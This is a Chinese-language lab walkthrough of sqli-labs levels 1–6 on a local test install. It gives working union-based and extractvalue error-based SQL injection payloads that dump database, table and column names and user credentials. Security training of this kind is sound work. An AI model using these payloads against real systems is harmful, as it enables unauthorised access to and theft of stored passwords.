Sqlilabs靶场报错注入:less1~6

报错注入:

less-1:报错后的GET单引号字注入

        首先做SQL注入,需要知道注入参数是什么,不是所有的参数都是id,也能是file等等。判断注入点,注入点很重要,如果找不到注入的地方,测试什么参数都是在浪费时间。

进入后的首页面就是这样,提示我们输入一个ID

在这里我输入了id=1,显示出这个结果,说明并没有对用户的输入做过滤

获取列数做联合查询:

?id=1 order by 3-- +
输入3时并没有报错,输入4时出现了错误,说明列数是3
?id=1 order by 4-- +

对其做连表查询:

http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=1union%20select%201.2,3

发现与上面用id=1的结果相同,应该是没有逃脱出单引号的控制,应该去闭合单引号,而单引号需要成对出现。

解决单引号需要成对出现:

        1、闭合

        2、注释 --  #   */  /***/

通过测试发现#不能直接使用,会被直接编译掉,导致不能生效,我们可以将#编码为%23使用

下一步,获得数据库名,表名,列名,数据

为了让union select前面的参数查不出来,所以id=-1

获取库名:

?id=-1' union select 1,2,database() --+

获取表名:

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema =database() -- +

获取列名:

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='users' and table_schema='security'--+

获取数据:

?id=-1' union select 1,2,group_concat(username ,0x7e, password) from users--+

ok,less1 完成。

less-2:数字型注入

与less-1基本相同,没有单引号闭合:

获取库名:

?id=-1 union select 1,2,database() --+

获取表名:

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema =database() --+

获取列名:

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='users' and table_schema='security'--+

获取数据:

?id=-1 union select 1,2,group_concat(username ,0x7e, password) from users--+

ok,完成。

less-3:与less-1没什么不同,在'之后加上)即可

?id=-1') union select 1,2,group_concat(username ,0x7e, password) from users--+

其余与less-1没有不同。

less-4:使用了双引号加括号用来闭合语句

?id=-1") union select 1,2,group_concat(username ,0x7e, password) from users--+

ok,完成。

less-5:

输入id=1,显示 you are in ........

报错没有回显:

随便输入一个错误id=100,显示与前几关不同,说明输入是为了检测是否存在这个id

输入?id=0',会显示错误,表示存在注入点,且使用'闭合

获取库名:

?id=0' union select extractvalue(1,concat(';',database())) --+



获取表名:

?id=0' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~')) --+

获取列名:

?id=0' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),'~')) --+

获取数据:

?id=0' and extractvalue(1,concat('~',(select group_concat(concat_ws(':',username,password)) from security.users),'~')) --+

从结果来看,未能获取全,可以先获取username在获取password

username:

password:

ok,完成。

less-6:闭合方式为"

与less-5除了闭合方式不同外,其它都一样

?id=0" and extractvalue(1,concat('~',(select group_concat(concat_ws(':',username,password)) from security.users),'~')) --+

与less-5相同,也可以先查询username,在查询password。

ok,完成。

  • 4
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值